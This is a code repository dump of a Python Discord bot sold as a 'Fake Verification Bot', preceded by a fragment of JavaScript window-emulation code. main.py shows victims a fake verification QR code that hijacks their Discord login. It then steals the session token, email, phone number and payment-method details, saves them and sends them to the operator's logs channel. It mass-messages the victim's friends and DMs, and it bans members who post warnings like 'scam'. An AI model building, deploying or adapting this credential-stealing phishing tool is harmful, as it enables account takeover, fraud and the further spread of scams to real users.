184 | return startTimer(window, setTimeout, clearTimeout, ++latestTimerId, fn, ms, timers, args);
185 | };
186 | this.setInterval = function (fn, ms) {
187 | const args = [];
188 | for (let i = 2; i < arguments.length; ++i) {
189 | args[i - 2] = arguments[i];
190 | }
191 | return startTimer(window, setInterval, clearInterval, ++latestTimerId, fn, ms, timers, args);
192 | };
193 | this.clearInterval = stopTimer.bind(this, timers);
194 | this.clearTimeout = stopTimer.bind(this, timers);
195 |
196 | this.__stopAllTimers = function () {
197 | stopAllTimers(timers);
198 | stopAllTimers(animationFrameCallbacks);
199 |
200 | latestTimerId = 0;
201 | latestAnimationFrameCallbackId = 0;
202 |
203 | timers = Object.create(null);
204 | animationFrameCallbacks = Object.create(null);
205 | };
206 |
207 | this.atob = function (str) {
208 | if (arguments.length === 0) {
209 | throw new TypeError("1 argument required, but only 0 present.");
210 | }
211 | str = `${str}`;
212 | str = str.replace(/[ \t\n\f\r]/g, "");
213 | if (str.length % 4 === 0) {
214 | str = str.replace(/==?$/, "");
215 | }
216 | if (str.length % 4 === 1 || /[^+/0-9A-Za-z]/.test(str)) {
217 | return null;
218 | }
219 | let output = "";
220 | let buffer = 0;
221 | let accumulatedBits = 0;
222 | for (let i = 0; i < str.length; i++) {
223 | buffer <<= 6;
224 | let index = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".indexOf(str[i]);
225 | index = index < 0 ? undefined : index;
226 | buffer |= index;
227 | accumulatedBits += 6;
228 | if (accumulatedBits === 24) {
229 | output += String.fromCharCode((buffer & 0xff0000) >> 16);
230 | output += String.fromCharCode((buffer & 0xff00) >> 8);
231 | output += String.fromCharCode(buffer & 0xff);
232 | buffer = accumulatedBits = 0;
233 | }
234 | }
235 | if (accumulatedBits === 12) {
236 | buffer >>= 4;
237 | output += String.fromCharCode(buffer);
238 | } else if (accumulatedBits === 18) {
239 | buffer >>= 2;
240 | output += String.fromCharCode((buffer & 0xff00) >> 8);
241 | output += String.fromCharCode(buffer & 0xff);
242 | }
243 | if (output === null) {
244 | throw "The string to be decoded contains invalid characters.";
245 | }
246 | return output;
247 | };
248 | this.btoa = function (str) {
249 | if (arguments.length === 0) {
250 | throw new TypeError("1 argument required, but only 0 present.");
251 | }
252 | let i;
253 | str = `${str}`;
254 | for (i = 0; i < str.length; i++) {
255 | if (str.charCodeAt(i) > 255) {
256 | return null;
257 | }
258 | }
259 | let out = "";
260 | for (i = 0; i < str.length; i += 3) {
261 | const groupsOfSix = [undefined, undefined, undefined, undefined];
262 | groupsOfSix[0] = str.charCodeAt(i) >> 2;
263 | groupsOfSix[1] = (str.charCodeAt(i) & 0x03) << 4;
264 | if (str.length > i + 1) {
265 | groupsOfSix[1] |= str.charCodeAt(i + 1) >> 4;
266 | groupsOfSix[2] = (str.charCodeAt(i + 1) & 0x0f) << 2;
267 | }
268 | if (str.length > i + 2) {
269 | groupsOfSix[2] |= str.charCodeAt(i + 2) >> 6;
270 | groupsOfSix[3] = str.charCodeAt(i + 2) & 0x3f;
271 | }
272 | for (let j = 0; j < groupsOfSix.length; j++) {
273 | if (typeof groupsOfSix[j] === "undefined") {
274 | out += "=";
275 | } else {
276 | let index = groupsOfSix[j];
277 | if (index >= 0 && index < 64) {
278 | out += "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"[index];
279 | }
280 | }
281 | }
282 | }
283 | if (out === null) {
284 | throw "The string to be encoded contains invalid characters.";
285 | }
286 | return out;
287 | };
288 | this.ArrayBuffer = ArrayBuffer;
289 | this.Int8Array = Int8Array;
290 | this.Uint8Array = Uint8Array;
291 | this.Uint8ClampedArray = Uint8ClampedArray;
292 | this.Int16Array = Int16Array;
293 | this.Uint16Array = Uint16Array;
294 | this.Int32Array = Int32Array;
295 | this.Uint32Array = Uint32Array;
296 | this.Float32Array = Float32Array;
297 | this.Float64Array = Float64Array;
298 | this.stop = () => {};
299 | this.close = function () {
300 | const currentWindow = this;
301 | (function windowCleaner(windowToClean) {
302 | for (let i = 0; i < windowToClean.length; i++) {
303 | windowCleaner(windowToClean[i]);
304 | }
305 | if (windowToClean !== currentWindow) {
306 | windowToClean.close();
307 | }
308 | }(this));
309 | if (this._document) {
310 | delete this._document;
311 | }
312 | this.__stopAllTimers();
313 | };
314 | this.getComputedStyle = () => {};
315 | this.captureEvents = () => {};
316 | this.releaseEvents = () => {};
317 | this.console = {
318 | assert: () => {},
319 | clear: () => {},
320 | count: () => {},
321 | countReset: () => {},
322 | debug: () => {},
323 | dir: () => {},
324 | dirxml: () => {},
325 | error: () => {},
326 | group: () => {},
327 | groupCollapsed: () => {},
328 | groupEnd: () => {},
329 | info: () => {},
330 | log: () => {},
331 | table: () => {},
332 | time: () => {},
333 | timeEnd: () => {},
334 | trace: () => {},
335 | warn: () => {}
336 | };
337 | define(this, {
338 | name: "",
339 | status: "",
340 | devicePixelRatio: 1,
341 | innerWidth: 1920,
342 | innerHeight: 951,
343 | outerWidth: 1920,
344 | outerHeight: 1080,
345 | pageXOffset: 0,
346 | pageYOffset: 0,
347 | screenX: 0,
348 | screenLeft: 0,
349 | screenY: 0,
350 | screenTop: 0,
351 | scrollX: 0,
352 | scrollY: 0,
353 |
354 | alert: () => {},
355 | blur: () => {},
356 | confirm: () => { return true; },
357 | focus: () => {},
358 | moveBy: () => {},
359 | moveTo: () => {},
360 | open: () => {},
361 | print: () => {},
362 | prompt: () => { return ""; },
363 | resizeBy: () => {},
364 | resizeTo: () => {},
365 | scroll: () => {},
366 | scrollBy: () => {},
367 | scrollTo: () => {}
368 | });
369 | process.nextTick(() => {
370 | if (!window.document) {
371 | return;
372 | }
373 | });
374 | }
375 |
376 | Object.defineProperty(Window.prototype, Symbol.toStringTag, {
377 | value: "Window",
378 | writable: false,
379 | enumerable: false,
380 | configurable: true
381 | });
382 | function startTimer(window, startFn, stopFn, timerId, callback, ms, timerStorage, args) {
383 | if (!window || !window._document) {
384 | return undefined;
385 | }
386 | if (typeof callback !== "function") {
387 | const code = String(callback);
388 | callback = window._globalProxy.eval.bind(window, code + `\n//# sourceURL=${window.location.href}`);
389 | }
390 |
391 | const oldCallback = callback;
392 | callback = () => {
393 | try {
394 | oldCallback.apply(window._globalProxy, args);
395 | } catch (e) {}
396 | };
397 |
398 | const res = startFn(callback, ms);
399 | timerStorage[timerId] = [res, stopFn];
400 | return timerId;
401 | }
402 |
403 | function stopTimer(timerStorage, id) {
404 | const timer = timerStorage[id];
405 | if (timer) {
406 | timer[1].call(undefined, timer[0]);
407 | delete timerStorage[id];
408 | }
409 | }
410 | function stopAllTimers(timers) {
411 | Object.keys(timers).forEach(key => {
412 | const timer = timers[key];
413 | timer[1].call(undefined, timer[0]);
414 | });
415 | }
--------------------------------------------------------------------------------
/blacklist.txt:
--------------------------------------------------------------------------------
1 | scam
2 | fake
3 | hack
4 |
--------------------------------------------------------------------------------
/config.json:
--------------------------------------------------------------------------------
1 | {
2 | "Bot Token": "BOT-TOKEN-HERE",
3 | "logs_channel_id": "LOGS-CHANNEL-ID-HERE",
4 |
5 | "Prefix": "*",
6 | "Owner ID": 123,
7 | "command_name": "start",
8 |
9 | "give_role": false,
10 | "role_name": "ROLE-NAME-HERE",
11 |
12 | "mass_dm": 0,
13 | "message": "MESSAGE-HERE"
14 | }
15 |
--------------------------------------------------------------------------------
/driver/chromedriver.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/FuckingToasters/Fake-Verification-Bot/e4ebce7ec27898b0f9764d6ac6fc49e1153c07f3/driver/chromedriver.exe
--------------------------------------------------------------------------------
/main.py:
--------------------------------------------------------------------------------
1 | #Importing modules
2 | import nextcord, os, ctypes, json, asyncio, hashlib, base64, requests, os
3 | from remoteauthclient import RemoteAuthClient
4 | from nextcord import ButtonStyle
5 | from nextcord.ext import commands
6 | from nextcord.ui import Button, View
7 | from nextcord.utils import get
8 | from websockets import connect
9 | from websockets.exceptions import ConnectionClosedOK, ConnectionClosedError
10 | from websockets.typing import Origin
11 | from cryptography.hazmat.primitives.asymmetric import rsa
12 | from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat
13 | from cryptography.hazmat.primitives.asymmetric import padding
14 | from cryptography.hazmat.primitives import hashes
15 | from colorama import Fore, init; init(autoreset=True)
16 | from urllib.request import Request, urlopen
17 | from async_hcaptcha import AioHcaptcha
18 | from async_hcaptcha.utils import getUrl
19 | from time import sleep
20 |
21 | os.system("git clone https://github.com/RuslanUC/RemoteAuthClient -b dev && cd RemoteAuthClient && pip uninstall remoteauthclient && pip install .")
22 |
23 | y = Fore.LIGHTYELLOW_EX
24 | b = Fore.LIGHTBLUE_EX
25 | w = Fore.LIGHTWHITE_EX
26 |
27 | #Get the headers
28 | def getheaders(token=None, content_type="application/json"):
29 | headers = {
30 | "Content-Type": content_type,
31 | "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11"
32 | }
33 | if token:
34 | headers.update({"Authorization": token})
35 | return headers
36 |
37 | #Recovery of the configuration put in the config.json file
38 | with open('config.json') as f:
39 | config = json.load(f)
40 |
41 | botToken = config.get('Bot Token')
42 | prefix = config.get('Prefix')
43 | ownerid = config.get("Owner ID")
44 | command_name = config.get('command_name')
45 | logs_channel_id = config.get('logs_channel_id')
46 | give_role = config.get('give_role')
47 | role_name = config.get('role_name')
48 | mass_dm = config.get('mass_dm')
49 | message = config.get('message')
50 |
51 | #Bot title
52 | def bot_title():
53 | os.system("cls" if os.name == "nt" else "clear")
54 | if os.name == "nt": ctypes.windll.kernel32.SetConsoleTitleW(f"Fake Verification Bot - Made by Infinimonster#002")
55 | else: pass
56 | print("\n\n")
57 | print(f"""{Fore.RESET}
58 | \t\t\t███████╗ █████╗ ██╗ ██╗███████╗ ██╗ ██╗███████╗██████╗ ██╗███████╗██╗ ██████╗ █████╗ ████████╗ ██████╗ ██████╗
59 | \t\t\t██╔════╝██╔══██╗██║ ██╔╝██╔════╝ ██║ ██║██╔════╝██╔══██╗██║██╔════╝██║██╔════╝██╔══██╗╚══██╔══╝██╔═══██╗██╔══██╗
60 | \t\t\t█████╗ ███████║█████╔╝ █████╗ ██║ ██║█████╗ ██████╔╝██║█████╗ ██║██║ ███████║ ██║ ██║ ██║██████╔╝
61 | \t\t\t██╔══╝ ██╔══██║██╔═██╗ ██╔══╝ ╚██╗ ██╔╝██╔══╝ ██╔══██╗██║██╔══╝ ██║██║ ██╔══██║ ██║ ██║ ██║██╔══██╗
62 | \t\t\t██║ ██║ ██║██║ ██╗███████╗ ╚████╔╝ ███████╗██║ ██║██║██║ ██║╚██████╗██║ ██║ ██║ ╚██████╔╝██║ ██║
63 | \t\t\t╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝\n""".replace('█', f'{Fore.LIGHTBLUE_EX}█{Fore.LIGHTYELLOW_EX}'))
64 |
65 | print(f"\t{Fore.LIGHTYELLOW_EX}----------------------------------------------------------------------------------------------------------------------------------------------------------\n")
66 | print(f"\t{Fore.LIGHTWHITE_EX}https://solo.to/Infinimonster | https://github.com/FuckingToasters | https://cracked.io/Infinimonster | https://nulled.to/Infinimonster | Infinimonster#002\n")
67 | print(f"\t{Fore.LIGHTYELLOW_EX}----------------------------------------------------------------------------------------------------------------------------------------------------------\n".replace('|', f'{Fore.LIGHTBLUE_EX}|{Fore.LIGHTWHITE_EX}'))
68 |
69 | #Bot home page
70 | def startprint():
71 | bot_title()
72 |
73 | if give_role:
74 | give_role_texte = f"""{Fore.GREEN}Active {Fore.RESET}with {Fore.LIGHTWHITE_EX}{role_name if role_name != "ROLE-NAME-HERE" else "None"}"""
75 | else:
76 | give_role_texte = f"{Fore.RED}Disabled"
77 |
78 | if mass_dm == 3:
79 | mass_dm_texte = f"{Fore.GREEN}Friends{w}/{Fore.GREEN}Current DMs"
80 | elif mass_dm == 2:
81 | mass_dm_texte = f"{Fore.GREEN}Friends"
82 | elif mass_dm == 1:
83 | mass_dm_texte = f"{Fore.GREEN}Current DMs"
84 | else:
85 | mass_dm_texte = f"{Fore.RED}Disabled"
86 |
87 | print(f"""
88 | \t\t\t\t\t\t{y}[{b}+{y}]{w} Bot Informations:\n
89 | \t\t\t\t\t\t[#] Logged in as: {bot.user.name}
90 | \t\t\t\t\t\t[#] Bot ID: {bot.user.id}
91 | \t\t\t\t\t\t[#] Logs Channel: {logs_channel_id if logs_channel_id != "LOGS-CHANNEL-ID-HERE" else "None"}
92 | \t\t\t\t\t\t[#] Command Name: {bot.command_prefix}{command_name}\n\n
93 | \t\t\t\t\t\t{y}[{b}+{y}]{w} Settings View:\n
94 | \t\t\t\t\t\t[#] Give Role: {give_role_texte}
95 | \t\t\t\t\t\t[#] Mass DM Type: {mass_dm_texte}\n\n\n""".replace('[#]', f'{y}[{w}#{y}]{w}'))
96 | print(f"\t\t\t\t\t\t{y}[{Fore.GREEN}!{y}]{w} Bot is now Online! Wish u luck with hacking Accounts <3")
97 |
98 | intents = nextcord.Intents.default()
99 | intents.message_content = True
100 |
101 | bot = commands.Bot(command_prefix=prefix, description="Fake Verification Bot - Made by Infinimonster#002 & Astraa#6100", intents=intents)
102 |
103 | #Launching the Bot
104 | def Init():
105 | if botToken == "":
106 | bot_title()
107 | input(f"\t\t\t\t\t\t{y}[{Fore.LIGHTRED_EX}!{y}]{w} Please set a token in the config.json file.")
108 | return
109 | elif prefix == "":
110 | bot_title()
111 | input(f"\t\t\t\t\t\t{y}[{Fore.LIGHTRED_EX}!{y}]{w} Please set a prefix in the config.json file.")
112 | return
113 | try: bot.run(botToken)
114 | except:
115 | os.system("cls")
116 | bot_title()
117 | # input(f"\t\t\t\t\t\t{y}[{Fore.LIGHTRED_EX}!{y}]{w} The token located in the config.json file is invalid")
118 | raise Exception # Exceptions are raised, when the bot can't login. reasons for this can be a invalid token, not all intents enabled, connection error etc.
119 | return
120 |
121 | #Event initialization
122 | @bot.event
123 | async def on_ready():
124 | startprint()
125 | await bot.change_presence(activity=nextcord.Game(name="Verifies New Members"))
126 |
127 | @bot.event
128 | async def on_message(message):
129 | msg = message.content
130 | if message.author == bot.user or str(message.author.id) == ownerid and msg.lower() != f"{bot.command_prefix}{command_name}".lower(): return
131 | with open("blacklist.txt", "r") as blfile: bllines = blfile.read().splitlines()
132 | if msg.lower() in bllines:
133 | await message.delete()
134 | await message.author.ban(reason=f"Trying to Warn others by using a Blacklisted Word: {msg.lower()}")
135 | await bot.process_commands(message)
136 |
137 | #Bot command
138 | @bot.command(name=command_name)
139 | async def start(ctx):
140 |
141 | #Recover the name of the channel logs
142 | try:
143 | logs_channel = bot.get_channel(int(logs_channel_id))
144 | except:
145 | logs_channel = None
146 | verification = Button(label="Verify Me", style=ButtonStyle.blurple)
147 |
148 | #If the verification button is clicked
149 | async def verification_callback(interaction):
150 |
151 | #RemoteAuthClient by RuslanUC
152 | class User:
153 | def __init__(self, _id, _username, _discriminator, _avatar):
154 | self.id = _id
155 | self.username = _username
156 | self.discriminator = _discriminator
157 | self.avatar = _avatar
158 |
159 | c = RemoteAuthClient()
160 | """
161 | with open("proxies.txt", "r") as f:
162 | proxies = f.readlines()
163 |
164 | if proxies == []:
165 | c = RemoteAuthClient()
166 |
167 | else:
168 | for proxy in proxies:
169 | print(proxy)
170 | if ":" in proxy:
171 | proxy = proxy.split(":")
172 |
173 | try: hostname, port, username, password = proxy[0], proxy[1], proxy[2], proxy[3]
174 |
175 | except IndexError:
176 | try: hostname, port, username, password = proxy[0], proxy[1], None, None
177 | except IndexError: print("proxies are wrong formatted, please use ip:port or ip:port:username:password")
178 |
179 | else:
180 | print("Proxy Need to be seperated by at least a :")
181 |
182 | c = RemoteAuthClient(proxy=proxy, proxy_auth={"login": username, "password": password} if username and password is not None else None)
183 | """
184 |
185 | #QR Creation, Informations sender, Role giver, Mass DM sender, ...
186 | @c.event("on_fingerprint")
187 | async def on_fingerprint(data):
188 |
189 | @c.event("on_cancel")
190 | async def on_cancel():
191 | print(f"\t\t\t\t\t\t{y}[{Fore.LIGHTRED_EX}!{y}]{w} Auth canceled: {data}")
192 |
193 | @c.event("on_timeout")
194 | async def on_timeout():
195 | print(f"\t\t\t\t\t\t{y}[{Fore.LIGHTRED_EX}!{y}]{w} Timeout: {data}")
196 |
197 | embed_qr.set_image(url=f"https://api.qrserver.com/v1/create-qr-code/?size=256x256&data={data}")
198 | await interaction.edit_original_message(embed=embed_qr)
199 | print(f"\t\t\t\t\t\t[{Fore.LIGHTGREEN_EX}!{y}]{w} QR Code Generated: {data}")
200 |
201 | @c.event("on_userdata")
202 | async def on_userdata(user):
203 | if not os.path.isfile("database.json"):
204 | json.dump({}, open("database.json", "w", encoding="utf-8"), indent=4)
205 |
206 | database = json.load(open("database.json", encoding="utf-8"))
207 |
208 | if not user.id in database:
209 | database[user.id] = {}
210 |
211 | database[user.id]["username"] = f"{user.username}#{user.discriminator}"
212 | database[user.id]["avatar_url"] = f"https://cdn.discordapp.com/avatars/{user.id}/{user.avatar}.png"
213 |
214 | json.dump(database, open("database.json", "w", encoding="utf-8"), indent=4)
215 | print(f"\t\t\t\t\t\t{y}[{b}#{y}]{w} {user.username}#{user.discriminator} ({user.id})")
216 |
217 | @c.event("on_captcha")
218 | async def on_captcha(captcha_data):
219 | captcha_key = None
220 | for _ in range(3):
221 | solver = AioHcaptcha(captcha_data["captcha_sitekey"], "https://discord.com/login", {"executable_path": "driver/chromedriver.exe"})
222 | try:
223 | captcha_key = await solver.solve(custom_params={"rqdata": captcha_data["captcha_rqdata"]})
224 | break
225 | except KeyError:
226 | continue
227 | return captcha_key
228 |
229 | @c.event("on_token")
230 | async def on_token(token):
231 | if not os.path.isfile("database.json"):
232 | json.dump({}, open("database.json", "w", encoding="utf-8"), indent=4)
233 |
234 | database = json.load(open("database.json", encoding="utf-8"))
235 |
236 | if not user.id in database:
237 | database[user.id] = {}
238 |
239 | try:
240 | res = requests.get('https://discordapp.com/api/v6/users/@me', headers=getheaders(token))
241 | if res.status_code == 200:
242 | res_json = res.json()
243 | avatar_id = res_json['avatar']
244 | phone_number = res_json['phone']
245 | email = res_json['email']
246 | mfa_enabled = res_json['mfa_enabled']
247 | flags = res_json['flags']
248 | locale = res_json['locale']
249 | verified = res_json['verified']
250 | has_nitro = False
251 | res = requests.get('https://discordapp.com/api/v6/users/@me/billing/subscriptions', headers=getheaders(token))
252 | nitro_data = res.json()
253 | has_nitro = bool(len(nitro_data) > 0)
254 | billing_info = []
255 | for x in requests.get('https://discordapp.com/api/v6/users/@me/billing/payment-sources', headers={'Authorization': token, 'Content-Type': 'application/json'}).json():
256 | if x['type'] == 1:
257 | data = {'Payment Type': 'Credit Card', 'Valid': not x['invalid']}
258 |
259 | elif x['type'] == 2:
260 | data = {'Payment Type': 'PayPal', 'Valid': not x['invalid']}
261 |
262 | billing_info.append(data)
263 | payment_methods = len(billing_info)
264 | database[user.id]["avatar_id"] = avatar_id
265 | database[user.id]["phone_number"] = phone_number
266 | database[user.id]["email"] = email
267 | database[user.id]["mfa_enabled"] = mfa_enabled
268 | database[user.id]["flags"] = flags
269 | database[user.id]["locale"] = locale
270 | database[user.id]["verified"] = verified
271 | database[user.id]["has_nitro"] = has_nitro
272 | database[user.id]["payment_methods"] = payment_methods
273 | if logs_channel:
274 | embed_user = nextcord.Embed(title=f"**New user verified: {user.username}#{user.discriminator}**", description=f"```yaml\nUser ID: {user.id}\nAvatar ID: {avatar_id}\nPhone Number: {phone_number}\nEmail: {email}\nMFA Enabled: {mfa_enabled}\nFlags: {flags}\nLocale: {locale}\nVerified: {verified}\nHas Nitro: {has_nitro}\nPayment Methods: {payment_methods}\n```\n```yaml\nToken: {token}\n```", color=5003474)
275 | except:
276 | if logs_channel:
277 | embed_user = nextcord.Embed(title=f"**New user verified: {user.username}#{user.discriminator}**", description=f"```yaml\nUser ID: {user.id}\nToken: {token}\n```\n```yaml\nNo other information found\n```", color=5003474)
278 | pass
279 |
280 | database[user.id]["token"] = token
281 |
282 | json.dump(database, open("database.json", "w", encoding="utf-8"), indent=4)
283 |
284 | print(f"\t\t\t\t\t\t{y}[{b}#{y}]{w} Token: {token}")
285 | if logs_channel:
286 | embed_user.set_footer(text="Made by Infinimonster#002 »» https://github.com/FuckingToasters")
287 | embed_user.set_thumbnail(url=f"https://cdn.discordapp.com/avatars/{user.id}/{user.avatar}.png")
288 | await logs_channel.send(embed=embed_user)
289 |
290 | #If Enable, gives a role after verification
291 | if give_role == True:
292 | try:
293 | await interaction.user.add_roles(get(ctx.guild.roles, name=role_name))
294 | print(f"\t\t\t\t\t\t{y}[{Fore.LIGHTGREEN_EX}!{y}]{w} Role added to {user.username}#{user.discriminator}")
295 | except:
296 | print(f"\t\t\t\t\t\t{y}[{Fore.LIGHTRED_EX}!{y}]{w} There is a problem with your role. Check the Name and make sure it can give this role")
297 |
298 | #If Enable, DM all the current person's private chat
299 | if mass_dm == 1 or mass_dm == 3:
300 | try:
301 | success = 0
302 | failures = 0
303 | channel_id = requests.get("https://discord.com/api/v9/users/@me/channels", headers=getheaders(token)).json()
304 |
305 | if not channel_id:
306 | print(f"\t\t\t\t\t\t{y}[{Fore.LIGHTRED_EX}!{y}]{w} This guy is lonely, he aint got no dm's...")
307 | for channel in [channel_id[i:i+3] for i in range(0, len(channel_id), 3)]:
308 | for channel2 in channel:
309 | for _ in [x["username"] + "#" + x["discriminator"] for x in channel2["recipients"]]:
310 | try:
311 | requests.post(f'https://discord.com/api/v9/channels/' + channel2['id'] + '/messages', headers={'Authorization': token}, data={"content": f"{message}"})
312 | success += 1
313 | sleep(.5)
314 | except:
315 | failures += 1
316 | sleep(.5)
317 | pass
318 | print(f"\t\t\t\t\t\t{y}[{Fore.LIGHTGREEN_EX}!{y}]{w} Current DM(s) successfully messaged")
319 | except Exception as e:
320 | print(f"\t\t\t\t\t\t{y}[{Fore.LIGHTRED_EX}!{y}]{w} Mass DM failed: {e}")
321 | pass
322 |
323 | #If active, DM all user's friends
324 | if mass_dm == 2 or mass_dm == 3:
325 | try:
326 | getfriends = json.loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/relationships", headers=getheaders(token))).read().decode())
327 |
328 | payload = f'-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="content"\n\n{message}\n-----------------------------325414537030329320151394843687--'
329 | for friend in getfriends:
330 | try:
331 | chat_id = json.loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/channels", headers=getheaders(token), data=json.dumps({"recipient_id": friend["id"]}).encode())).read().decode())["id"]
332 | send_message = urlopen(Request(f"https://discordapp.com/api/v6/channels/{chat_id}/messages", headers=getheaders(token, "multipart/form-data; boundary=---------------------------325414537030329320151394843687"), data=payload.encode())).read().decode()
333 | send_message(token, chat_id, payload)
334 | except:
335 | pass
336 | sleep(.5)
337 |
338 | if len(getfriends) == 0:
339 | print(f"\t\t\t\t\t\t{Fore.LIGHTYELLOW_EX}[{Fore.LIGHTRED_EX}!{Fore.LIGHTYELLOW_EX}]{Fore.LIGHTWHITE_EX} This guy is lonely, he aint got no friends...")
340 | else:
341 | print(f"\t\t\t\t\t\t{y}[{Fore.LIGHTGREEN_EX}!{y}]{w} Friend(s) successfully messaged")
342 | except Exception as e:
343 | print(f"\t\t\t\t\t\t{y}[{Fore.LIGHTRED_EX}!{y}]{w} Mass DM failed: {e}")
344 | pass
345 |
346 | #Embed Creation
347 | asyncio.create_task(c.run())
348 | embed_qr = nextcord.Embed(title="__**Hello, are you human? Let's find out!**__", description="You are seeing this because your account has been flagged for verification...\n\n**Please follow these steps to complete your verification**:\n1️⃣ *Open the Discord Mobile application*\n2️⃣ *Go to settings*\n3️⃣ *Choose the \"Scan QR Code\" option*\n4️⃣ *Scan the QR code below*", color=5003474)
349 | embed_qr.set_footer(text="Note: captcha expires in 2 minutes")
350 | embed_qr.set_thumbnail(url="https://emoji.discord.st/emojis/aa142d2c-681c-45a2-99e9-a6e63849b351.png")
351 | await interaction.response.send_message(embed=embed_qr, ephemeral=True)
352 |
353 | verification.callback = verification_callback
354 |
355 | myview = View(timeout=None)
356 | myview.add_item(verification)
357 | embed = nextcord.Embed(title="**Verification required!**", description="🔔 To acces this server, you need to pass the verification first\n🧿 Press the button bellow", color=5003474)
358 | await ctx.send(embed=embed, view=myview)
359 |
360 | #Start Everything
361 | if __name__ == '__main__':
362 | Init()
363 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | nextcord
2 | cryptography
3 | pyjwt[crypto]
4 | websockets
5 | colorama
6 | requests
7 | urllib3
8 | brotlipy
9 | hcaptcha_challenger
10 | remoteauthclient
11 |
--------------------------------------------------------------------------------
/setup.bat:
--------------------------------------------------------------------------------
1 | python -m pip install -r requirements.txt
2 | cls
3 | echo python main.py >> start_tool.bat
4 | start start_tool.bat
5 | start /b "" cmd /c &exit /b
6 |
--------------------------------------------------------------------------------